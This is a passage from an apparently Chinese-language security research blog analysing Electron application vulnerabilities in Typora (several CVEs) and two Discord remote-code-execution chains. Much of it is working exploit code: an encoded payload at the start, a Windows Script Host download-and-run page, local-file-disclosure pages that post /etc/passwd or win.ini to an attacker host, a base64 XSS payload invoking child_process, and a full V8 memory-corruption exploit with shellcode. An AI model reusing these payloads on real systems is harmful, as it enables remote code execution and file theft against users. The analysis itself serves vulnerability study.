14&#103&#115&#58&#32&#91&#39&#47&#107&#32&#110&#101&#116&#112&#108&#119&#105&#122&#39&#93&#44&#10&#32&#32&#32&#32&#99&#119&#100&#58&#32&#110&#117&#108&#108&#44&#10&#32&#32&#32&#32&#119&#105&#110&#100&#111&#119&#115&#86&#101&#114&#98&#97&#116&#105&#109&#65&#114&#103&#117&#109&#101&#110&#116&#115&#58&#32&#102&#97&#108&#115&#101&#44&#10&#32&#32&#32&#32&#100&#101&#116&#97&#99&#104&#101&#100&#58&#32&#102&#97&#108&#115&#101&#44&#10&#32&#32&#32&#32&#101&#110&#118&#80&#97&#105&#114&#115&#58&#32&#101&#110&#118&#95&#44&#10&#32&#32&#32&#32&#115&#116&#100&#105&#111&#58&#32&#91&#123&#10&#32&#32&#32&#32&#32&#32&#32&#32&#116&#121&#112&#101&#58&#32&#39&#105&#103&#110&#111&#114&#101&#39&#10&#32&#32&#32&#32&#125&#44&#32&#123&#10&#32&#32&#32&#32&#32&#32&#32&#32&#116&#121&#112&#101&#58&#32&#39&#105&#103&#110&#111&#114&#101&#39&#10&#32&#32&#32&#32&#125&#44&#32&#123&#10&#32&#32&#32&#32&#32&#32&#32&#32&#116&#121&#112&#101&#58&#32&#39&#105&#103&#110&#111&#114&#101&#39&#10&#32&#32&#32&#32&#125&#93&#10&#125&#41&#59&#10&#60&#47&#115&#99&#114&#105&#112&#116&#62></iframe>}
```
typora rce2

这个应该是长亭的师傅发现的,因为下面有

12) CVE-2022-40011

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40011

https://gist.github.com/wangking1/61bdd1967367301a950ffbb3d10386f3

Typora <= 1.38

这是一个导出漏洞,但是漏洞提交者写的比较模糊,描述的是在导出 PDFimage 的时候可以触发

13) CVE-2022-43668

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43668

Typora < 1.4.4

这应该是一个日本的安全研究员报告的,写的也是很模糊,没有很好地中和 JavaScript ,应该是一个 XSS 漏洞

但是并没有找到相关细节,甚至在官方历史发布版本里都没有描述

https://typora.io/releases/all

14) CVE-2023-1003

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1003

https://github.com/typora/typora-issues/issues/5623

仅 Windows 平台
Typora <= 1.5.5

正常 .js 文件默认关联的打开程序可能是浏览器或者编辑器等,但是如果系统关联的打开程序是 Windows Script Host,那么打开 .js 文件就会导致命令执行

poc.html

<!-- auto download !-->
<html>
<script>
    var blob = new Blob(['var WshShell = new ActiveXObject("WScript.Shell");var ret = WshShell.run("calc");if (ret == 0)WScript.Echo("You were hacked.");WScript.Quit();'],{type:'application/js'});
    var a = document.createElement('a');
    a.href = window.URL.createObjectURL(blob);
    a.download =  'poc.js';
    a.click();
</script>
</html>

<!-- click to download !-->
<a href="http://127.0.0.1:8000/poc.js" download="poc.js">CLICK~~</a>

poc.js

var WshShell = new ActiveXObject("WScript.Shell");
var ret = WshShell.run("calc");
if (ret == 0)
    WScript.Echo("You were hacked.")
WScript.Quit();

15) CVE-2023-2316

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2316

https://starlabs.sg/advisories/23/23-2316/

仅 Windows、Linux 平台
Typora < 1.6.7

这个漏洞大家可以关注一下,这就是自定义协议常常导致的问题,上面的文章链接中有非常详细的说明,感谢作者

简单来说,当攻击者将链接设置为 typora://app/xxxx 时, Typora 会从 xxxx 为根目录进行查找文件,如果程序请求敏感文件会造成信息泄漏

PoC

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Typora 1.5.12 Local File Disclosure Proof-of-Concept</title>
</head>
<body>
    <pre id="log" style="background: #eee; width: 100%;"></pre>
    <script>
        const log = t => {
            document.getElementById("log").textContent += t + '\r\n';
            fetch('//example.localtest.me/send-file-to-attacker-server', {mode: 'no-cors', body: t, method: 'POST'})
        }
        log('location.origin: ' + location.origin)
        log('navigator.platform: ' + navigator.platform)
        log(' ')
        if(navigator.platform === 'Win32'){
            log('Content of your C:\\Windows\\win.ini:')
            fetch('typora://app/C:/windows/win.ini').then(r=>r.text()).then(r=>{log(r)})
        } else {
            log('Content of your /etc/passwd:')
            fetch('typora://app/etc/passwd').then(r=>r.text()).then(r=>{log(r)})
        }
    
</script>
</body>
</html>

16) CVE-2023-2317

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2317

https://starlabs.sg/advisories/23/23-2317/

仅 Windows、Linux 平台
Typora < 1.6.7

Typoraupdater/update.html 中基于DOMXSS 允许一个精心制作的 markdown 文件通过在标签中加载 typora://app/typemark/updater/update.htmlTypora主窗口的上下文的<embed>标签中 运行任意 JavaScript 代码

PoC

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgJVdJTkRJUiUvd2luLmluaScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>

解码后是

reqnode('child_process').exec(({Win32'notepad %WINDIR%/win.ini'Linux'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])

打开 gnome 的计算器

再次推荐一下,他们的文章写得很详细,包括攻击面都考虑得很好

17) CVE-2023-2971

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2971

https://starlabs.sg/advisories/23/23-2971/

仅 Windows、Linux 平台
Typora < 1.7.0-dev

这是一个本地文件泄漏漏洞,错误路径处理允许一个精心制作的网页访问本地文件,并通过 typora://app/typemark/ 将它们泄露到远程 Web 服务器。如果用户在 Typora 中打开恶意 markdown 文件,或从恶意网页复制文本并将其粘贴到 Typora中,则可以利用此漏洞。

其实就是之前修复被绕过了

原本 typora://app/typemark/ 是用来从 Typora安装目录为根目录读取文件的,之前出现漏洞就是因为没有检查是否以 /typemark 为起始,直接 typora://app/C:/xxx 就可以读取文件

现在倒是检查了,但是不完全,把我们任意文件读取绕过的技巧直接就可以放到这里来

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Typora 1.6.7 Local File Disclosure Proof-of-Concept</title>
</head>
<body>
<pre id="log" style="background: #eee; width: 100%;"></pre>
<script>
    const log = t => {
        document.getElementById("log").textContent += t + '\r\n';
        fetch('//example.localtest.me/send-file-to-attacker-server', {mode: 'no-cors', body: t, method: 'POST'})
    }
    log('location.origin: ' + location.origin)
    log('navigator.platform: ' + navigator.platform)
    log(' ')
    if(navigator.platform === 'Win32'){
        log('Content of your C:\\Windows\\win.ini:')
        fetch('typora://app/typemark/%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows/win.ini').then(r=>r.text()).then(r=>{log(r)})
    } else {
        log('Content of your /etc/passwd:')
        fetch('typora://app/typemark#/../../../../../../../../etc/passwd').then(r=>r.text()).then(r=>{log(r)})
    }
</script>
</body>
</html>

18) CVE-2023-39703

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39703

https://c0olw.github.io/2023/07/31/Typora-XSS-Vulnerability/

Typora < 1.6.7

这是由于 embed 标签处理不当导致的 XSS,这应该是国内的安全研究员发现的

<embed> 标签的 src 属性指定 html ,会执行 html 中的 JavaSript 代码,但是代码里是否可以执行 Nodejs 代码就没有描述了,我们可以试试看

继续编辑使其生效,很遗憾没有成功,而且 Typora 直接给提供了开发者工具

跨域的这种请求被拦截了,但是 alertconsole.log 不会被拦截,如果是白名单拦截的,我觉得可能会更安全一些吧

如果在开发者工具中执行上述代码是可以执行的,也就是说渲染进程依旧具备执行 Nodejs 的能力

补充知识:

<embed> 标签可以定义外部资源的容器,例如网页、图片、媒体播放器或插件应用程序。它能达到的功能现在普遍被各种浏览器弃用,但是标签本身还是受支持的,没想到被用在了这里

其实这也给我们挖掘 XSS 带来了一个思路,去寻找那些属性中就可以执行 JavaScript 或间接执行 JavaScript的内容,放在 ElectronMarkdown 编辑器下,会有奇效


这就是截至 2024-04-08 所有包含 CVE 编号的 Typora 漏洞。这里将 Typora 全都看一遍是因为它的漏洞比较有代表性,覆盖得比较广

我必须得给大家提个醒,以后在使用 Electron 开发的 Markdown 编辑器中打开 .md 文件一定要慎重,最好先用记事本之类的程序先打开看看有没有恶意内容,尤其是当它的渲染进程具备执行 Nodejs 的能力的时候,这非常危险

4. Discord

https://discord.com/

这是一款社交类的应用,好像很倾向于社群交流,很多开发者都使用 Discord 构建自己的社群,Discord 的客户端也是用 Electron 开发的

1. RCE by @kinugawamasato

https://mksben.l0.cm/2020/10/discord-desktop-rce.html

https://twitter.com/kinugawamasato

发布时间为 2020年10月17日,

这位博主看起来像是一个偏向前端安全的安全研究员,他的很多文章都是前端的内容,这样他测试 Discord 有了更多的思路,接下来介绍的攻击中,它利用了三个漏洞最终达到了 RCE 的效果

  • 缺少 contextIsolation ,即缺少上下文隔离
  • 嵌入 iframe 存在 XSS 漏洞
  • CVE-2020-15174 导航限制绕过

第一步也是先解包,之后发现主进程创建窗口时配置如下

可以看到 nodeIntegration: false,这意味着渲染进程没有调用 Nodejs 的能力,但是也没有设置 contextIsolation, 由于文章中没有写 Discord 的具体版本,不好去确定 Discord 具体使用的版本,但是博主说在 Discord 使用的 Electron 版本中 contextIsolation 默认为 false

The important options which we should check here are especially nodeIntegration and contextIsolation. From the above code, I found that the nodeIntegration option is set to false and the contextIsolation option is set to false (the default of the used version) in the Discord's main window.

如果 contextIsolation 被禁用,则网页的 JavaScript 可以影响渲染器上 Electron 的内部 JavaScript 代码的执行,以及预加载脚本。

例如,如果使用来自网页的 JavaScript 的另一个函数覆盖 Array.prototype.joinJavaScript 内置方法之一),则在调用 join 时,网页外部的 JavaScript 代码也将使用覆盖的函数。

经过博主的一番尝试,发现在外部执行 Nodejs 没戏,所以将目光投向 Preload 预加载脚本,这也是没有 bug 情况下的正常逻辑,之后博主发现,预加载脚本中有下面这个方法

DiscordNative.nativeModules.requireModule('MODULE-NAME')

这个方法可以调用模块,但经过测试不能直接使用类似 child_process 这种可以导致 RCE 的模块,于是博主通过覆盖  RegExp.prototype.testArray.prototype.join 两个方法,之后调用 getGPUDriverVersions 的方式执行了 calc,具体怎么做的呢? 我们可以看下面的代码

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

首先是让 RegExp.prototype.test 返回 false,之后让 Array.prototype.join返回 calc 字符串,之后就引入了 discord_utils 模块,并调用了 getGPUDriverVersions() 函数

这里为什么就执行 calc 了呢? getGPUDriverVersions() 内部到底做了什么?

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

这段代码如果不是劫持环境变量,其实就是固定的,执行 nvidia-smi.exe,但是经过我们刚才的操作,可能就不是这么回事了

博主只给提供了两个链接及锚点,没有详细说

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

我们看一下这两行到底做了什么

如果应用程序是一个二进制可执行文件,则不需要一个 shell ,也就是 cmd.exe ,这里我们执行的是 calc, 所以还是需要一个 shell 的,因此我们需要让 needShell 的值为 true ,所以根据我们上面修改的内容,就直接达到了目的

接下来看第二个链接

原来是同一个链接的不同行,这里是获取要执行的具体命令,无论前面怎么变,最后都执行了一个 .join(' '),这意味着最终 shellCommand 的值取决于 join 函数的返回结果,我们刚才将结果修改为了 calc 字符串,因此看起来最终会使用 cmd 执行 calc

现在攻击思路有了, PoC 也有了,万事俱备,只欠东风了,东风就是 XSS ,我得有个执行这些代码的机会呀!

接下来就是寻找 XSS 漏洞

这位博主发现,这个程序支持 autolinkMarkdown, 所以他将注意力转到了 iframe 嵌入,试图通过嵌入 iframe 来执行上述代码

嵌入 iframe 其实是比较常见功能,例如我们将外站的视频,网页之类的转发到微信聊天界面,微信聊天界面能显示出转发内容的部分信息,例如视频封面,标题等,而不是冰冷的 URL ,这个就属于是 iframe 嵌入,我是说这种功能,微信是不是这么做的暂不得知哈

Discord 支持嵌入 YouTube内容,当 YouTube URL 被发布时,它会自动在聊天中显示视频播放器。

URL 被发布时,Discord 会尝试获取其 OGP 信息,如果有 OGP 信息,它会在聊天中显示页面的标题、描述、缩略图、相关视频等。

DiscordOGP 中提取视频 URL,并且只有当视频 URL 是允许的域并且 URL 实际上具有嵌入页面的 URL 格式时,URL 才会嵌入到 iframe 中。

显然,这种社交类应用不会允许任意 iframe 嵌入,因此作者去检查了允许的域,没有找到说明文档,但是通过查看 CSPframe-src,结果如下

Content-Security-Policy: [...] ; frame-src
https://*.youtube.com
https://*.twitch.tv
https://open.spotify.com
https://w.soundcloud.com
https://sketchfab.com
https://player.vimeo.com
https://www.funimation.com
https://twitter.com
https://www.google.com/recaptcha/
https://recaptcha.net/recaptcha/
https://js.stripe.com
https://assets.braintreegateway.com
https://checkout.paypal.com
https://*.watchanimeattheoffice.com

之后通过将检查这些域名是否可以被用来做 iframe 嵌入到网页,之后在这些域名的网站中寻找 XSS,最终在 sketchfab.com 中找到了 XSS,之前并不了解这个网站,大概是个发布模型的网站,不过博主在其中找到了 XSS,这样似乎就凑齐了 RCE 攻击链的最后一环

PoC

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    <meta property="og:description" content="Description">
    <meta property="og:type" content="video">
    <meta property="og:image" content="https://l0.cm/img/bg.jpg">
    <meta property="og:image:type" content="image/jpg">
    <meta property="og:image:width" content="1280">
    <meta property="og:image:height" content="720">
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>
<body>
test
</body>
</html>

但事与愿违,虽然找到了 XSS,但是代码仍然是执行在 iframe 里面,并没有执行在渲染进程里,所以我们没有办法覆盖原本我们想要覆盖的代码,我们仍然需要一个逃逸的操作

不知道开启了 nodeIntegrationInSubFrames 后是不是就不用逃逸了,大家遇到的话可以往这个思路想

接下来就是摆脱 iframe 的束缚,争取逃脱到渲染进程中,一般是通过 iframe 打开一个新窗口或者通过导航,导航到顶部窗口的另一个 URL

作者对相关代码进行分析后发现,在主进程中,使用了 new-windowwill-navigate 事件来限制了导航的行为

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

这代码看起来很健硕,能够有效防止我们的企图,但是博主在测试过程中发现了惊人的一幕

CVE-2020-15174

这个惊人的发现是,如果 iframe 的顶部导航 (top.location) 与 iframe 本身是同源的,则会触发 will-navigate 事件,进而被阻止,但是如果两者是不同源的,就不会触发 will-navigate 事件,这显然是个 Bug,而且是 ElectronBug,作者反馈给了 Electron

利用这个漏洞或者叫 Bug,我们就可以成功绕过导航限制,之后就是使用 iframeXSS 导航到包含 RCE 代码的页面,比如 top.location =”//l0.cm/discord_calc.html

<script>
Array.prototype.join=function(){
    return "calc";
}
RegExp.prototype.test=function(){
    return false;
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
</script>

到这里,大家回忆上面我们介绍 CVE-2020-15174 的时候,应该可以更好的理解了

作者附上了漏洞攻击效果视频

https://youtu.be/0f3RrvC-zGI

2. RCE by electrovolt

https://blog.electrovolt.io/posts/discord-rce/

发布于 2021年7月10日

这位博主应该是专门研究过 Electron ,他发表过一些关于 Electron 漏洞的文章,比较有参考意义

这位博主应该也是比较关注前端安全,之前对 Elecron 不是很了解,但考虑到也是使用 JavaScript 技术,所以就测试了一下

首先也是解包,获取源代码

const mainWindowOptions = {
  title'Discord',
  webPreferences: {
    blinkFeatures'EnumerateDevices,AudioOutputDevices',
    nodeIntegrationfalse,
    preload: _path.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpentrue,
    enableRemoteModulefalse,
    spellchecktrue,
    contextIsolationtrue,
  }
};

显然,这次 nodeIntegrationcontextIsolation 都被正确地设置了,但是博主发现,sandbox 并未显式地设置为 true,博主检查了一下 Electron 版本,为 9-x-y,据文中描述,此版本的 Electron 默认 sandboxfalse,同时 Chromium 非常老旧 Chrome/83.0.4103.122,这个版本的 V8 引擎存在很多问题

首先,我们需要找到一个 XSS

由于前端使用的是 ReactJS,因此找到一个 XSS 并不容易,因此作者受上一篇文章作者的启发,将目光放到了可以嵌入到 Discord 的部分

最终在博主和其伙伴的努力下,在 Vimeo 中发现了一个 XSS ,回看上面的 CSP 列表会找到 Vimeo。但事情并不是一帆风顺的, Vimeo 网站的 CSP 策略让博主感到头大

Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'

这样的 CSP 配置下,将很难执行外部的 JavaScript 脚本

有趣的是,由于 DiscordChrome(Chromium) 版本很旧,于是博主决定使用之前在 crbug.com 上读到的CSP 绕过手法,通过绕过 frame-srcvimeo 中加载外部 iframe

https://issues.chromium.org/issues/40053051

通过托管以下 HTML 并在 Discord Chat 中粘贴链接,会在 Vimeo 嵌入中弹出一个警报框。

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    <meta property="og:description" content="asdasdf<b>Description</b&lt;>">
    <meta property="og:type" content="video">
    <meta property="og:image" content="https://pbs.twimg.com/profile_images/1313475569426857988/Q0I0VkmF_400x400.jpg">
    <meta property="og:image:type" content="image/jpg">
    <meta property="og:image:width" content="1280">
    <meta property="og:image:height" content="720">
    <meta property="og:video:url" content="https://redacted/redacted?redacted=x&redacted=javascript://asd.com?f=1%27%250awindow.open(atob(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(5).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b)).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b))),location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5))//&payload=_selfamF2YXNjcmlwdDonPGlmcmFtZSBzcmNkb2M9IjxpZnJhbWUgc3JjPVwnaHR0cHM6Ly9jdGYuczFyMXVzLm5pbmphL2Rpc2NvcmQvZXhwLmh0bWxcJzs_selfPC9pZnJhbWU_selfIj4n">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>
<body>
test
</body>
</html>

正当博主以为可以执行 V8 引擎的 Exploit 时,发现在 Discord 中,所有的 iframe 都在沙箱模式下运行,关于这一点,上一篇文章的原文结尾就已经说过了

之后博主得到了上一篇文章中博主的点拨,大概是说由于 Discordnew-window 限制不足,因此可以打开新窗口

masato 1: masato

但是经过博主测试,新窗口仍然具有 sandbox

又经过了一些测试,博主发现,当重定向到一个不同源的地址时, sandbox 属性就会被清除掉,这样就可以实施 V8 Exploit

之后博主采用了以下网址的 Exploit,最终成功弹出了计算器

https://chromium-review.googlesource.com/c/v8/v8/+/2820971

博主也附上了复现视频

https://youtu.be/bWYjWizF2vE

从复现视频来看,博主似乎还是采纳了上一篇文章博主(Masato)的建议,用了 new-window ,但是不太没有明说,好在视频中的 PoC 地址还有效

view-source:https://ctf.s1r1us.ninja/discord/s1r1us_secretss.html?pasdaasasdadasd
<!DOCTYPE html>
<html>
<head>
 <meta name="twitter:player" content="https://player.vimeo.com/video/572419548">

    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    <meta property="og:description" content="asdasdf<b>Description</b&lt;>">
    <meta property="og:type" content="video">
    <meta property="og:image" content="https://pbs.twimg.com/profile_images/1313475569426857988/Q0I0VkmF_400x400.jpg">
    <meta property="og:image:type" content="image/jpg">
    <meta property="og:image:width" content="1280">
    <meta property="og:image:height" content="720">
    <meta property="og:video:url" content="https://player.vimeo.com/video/572419548/login/private?success=x&url=javascript://vimeo.com?f=1%27%250awindow.open(atob(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(5).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b)).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b))),location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5))//&payload=_selfamF2YXNjcmlwdDonPGlmcmFtZSBzcmNkb2M9IjxpZnJhbWUgc3JjPVwnaHR0cHM6Ly9jdGYuczFyMXVzLm5pbmphL2Rpc2NvcmQvZXhwLmh0bWxcJzs_selfPC9pZnJhbWU_selfIj4n">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>
<body>
test
</body>
</html>

分析这个 PoC 我们得先了解 OGP 是什么

OGPOpen Graph Protocol的简称,翻译过来是开放图谱协议

Open Graph Protocol(OGP)是一种元数据协议,允许网页内容(如文章、图片、视频等)成为社交媒体平台上的丰富“对象”,在这些平台上展示时具有更好的可读性和吸引力。通过在网页 <head> 部分添加特定的 HTML 标签(称为 Open Graph 标签),网站发布者可以控制其内容在 Facebook、Twitter、LinkedIn、Pinterest 等社交网络上分享时的外观和元信息。

https://ogp.me/

OGP 使用自定义的 HTML meta 标签来定义内容的关键属性,常见的标签包括:

  • og:title: 页面标题,显示在分享卡片的顶部。
  • og:type: 内容类型,如 "article", "video.movie", "website" 等,用于告知社交平台内容的类别。
  • og:url: 网页的完整 URL,确保分享链接指向正确的页面。
  • og:image: 分享卡片的代表性图片 URL,通常是一张缩略图或封面图。
  • og:description: 页面的简短摘要或描述,提供给用户关于内容的快速概览。
  • og:video: 对于视频内容,可以指定视频资源的 URL 和其他属性(如 og:video:type, og:video:width, og:video:height)。
  • og:site_name: 网站或应用的名称。
  • og:locale: 内容的语言和区域设置,格式如 "en_US"。

总之,Open Graph Protocol(OGP)是一种标准化的元数据规范,用于优化网页内容在社交媒体平台上的分享体验。通过在网页 <head> 部分添加适当的 OGP 标签,网站发布者可以控制其内容在社交网络上的展示样式和相关信息,从而提高分享效果和用户参与度

Discord 支持这种协议,所以我们将一个 PoC URL 发送到聊天窗口时, Discord 会自动接下,博主给出的 PoC 中,自动解析的部分是视频部分

<meta property="og:video:url" content="https://player.vimeo.com/video/572419548/login/private?success=x&url=javascript://vimeo.com?f=1%27%250awindow.open(atob(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(5).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b)).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b))),location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5))//&payload=_selfamF2YXNjcmlwdDonPGlmcmFtZSBzcmNkb2M9IjxpZnJhbWUgc3JjPVwnaHR0cHM6Ly9jdGYuczFyMXVzLm5pbmphL2Rpc2NvcmQvZXhwLmh0bWxcJzs_selfPC9pZnJhbWU_selfIj4n">

视频地址为 https://player.vimeo.com/ 的地址,从 url 参数后面是该地址的 XSS 代码

javascript://vimeo.com?f=1'
window.open(atob(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(5).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b)).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b))),location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5))//&payload=_selfamF2YXNjcmlwdDonPGlmcmFtZSBzcmNkb2M9IjxpZnJhbWUgc3JjPVwnaHR0cHM6Ly9jdGYuczFyMXVzLm5pbmphL2Rpc2NvcmQvZXhwLmh0bWxcJzs_selfPC9pZnJhbWU_selfIj4n

继续分析 atob(),这是一个将 payload 这段字符串中 base64 解码的函数,解析结果为

javascript:'<iframe srcdoc="<iframe src=\'https://ctf.s1r1us.ninja/discord/exp.html\';></iframe>">'

window.open 的第二个参数是

location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5)

_self

因此,执行的实际为

window.open("javascript:'<iframe srcdoc=\"<iframe src=\'https://ctf.s1r1us.ninja/discord/exp.html\';></iframe>\">'""_self")

我使用百度进行了测试,确实可以打开窗口,并内嵌页面

我们看一下 exp.html

<html>
 <h1>pwn</h1>
 <script>
  document.body.innerHTML="<button onclick=window.open('https://discord.com/popout','DISCORD_foo').location='http://notctf.s1r1us.ninja/discord/exp2.html'>CLICK ME"
 
</script>
</html>

果然,这里使用了 Masato 建议的代码,我们看一下 exp2.html

<html>
 <button onclick=pwn() >pwn() </button> 
 <script>

  let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
function gc() {
  for(let i=0; i<((1024 * 1024)/0x10); i++) {
     var a = new String();
  }
}

//let shellcode = [2.40327734437787e-310, -1.1389104046892079e-244, 3.1731330715403803e+40, 1.9656830452398213e-236, 1.288531947997e-312, 8.3024907661975715e+270, 1.6469439731597732e+93, 9.026845734376378e-308];
let shellcode = [9.782736458425736e-51, 9.3367814805e-312, 2.820954277917551e+42, 3.847852170541779e+112, 4.0663832603688954e-308, -1.3563518167542218e-34, -4.668625785218077e+304, 3.0480232083984794e+77, 2.6420675471324114e-82, 1.170766719674408e+214, 3711142.5723877414, -6.827618880772401e-229];
function pwn() {
    /* Prepare RWX */
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    let module = new WebAssembly.Module(buffer);
    var instance = new WebAssembly.Instance(module);
    var exec_shellcode = instance.exports.main;

    function f(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        let oob_smi = new Array(Math.sign(0 - Math.max(0, x, -1)));
        oob_smi.pop();
        let oob_double = [3.14, 3.14];
        let arr_addrof = [{}];
        let aar_double = [2.17, 2.17];
        let www_double = new Float64Array(3);
        return [oob_smi, oob_double, arr_addrof, aar_double, www_double];
    }
    gc();

    for (var i = 0; i < 0x10000; ++i) {
        f(false);
    }
    let [oob_smi, oob_double, arr_addrof, aar_double, www_double] = f(true);
    console.log("[+] oob_smi.length = " + oob_smi.length);
    oob_smi[14] = 0x1234;
    console.log("[+] oob_double.length = " + oob_double.length);

    let primitive = {
        addrof: (obj) => {
            arr_addrof[0] = obj;
            return (oob_double[8].f2i() >> 32n) - 1n;
        },
        half_aar64: (addr) => {
            oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n)
                              | ((addr - 0x8n) | 1n)).i2f();
            return aar_double[0].f2i();
        },
        full_aaw: (addr, values) => {
            let offset = -1;
            for (let i = 0; i < 0x100; i++) {
                if (oob_double[i].f2i() == 0x18 && oob_double[i+1].f2i() == 3) {
                    offset = i+1;
                    break;
                }
            }
            if (offset == -1) {
                console.log("[-] Bad luck!");
                return;
            } else {
                console.log("[+] offset = " + offset);
            }
            oob_double[offset] = 0x8888n.i2f();
            oob_double[offset+1] = addr.i2f();
            for (let i = 0; i < values.length; i++) {
                www_double[i] = values[i];
            }
        }
    };

    console.log(primitive.addrof(oob_double).hex());
    let addr_instance = primitive.addrof(instance);
    console.log("[+] instance = " + addr_instance.hex());
    let addr_shellcode = primitive.half_aar64(addr_instance + 0x68n);
    console.log("[+] shellcode = " + addr_shellcode.hex());
    primitive.full_aaw(addr_shellcode, shellcode);
    console.log("[+] GO");
    exec_shellcode();
    return;
}
 
</script>
</html>

这里就是所谓的 V8 引擎的 Exploit 的,所以到这里其实就是绕过了 iframesandbox 的限制了

所以到这里就清晰了,博主采纳了上一个博主 Masato 的建议,利用了 window.open 的一个问题,即非同源地址会清除掉 sandbox 属性,进而在没有 sandbox 限制的环境下执行 V8 Exploit 导致 RCE

我们可以看一下 new-window事件的实现到底哪里出了问题

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
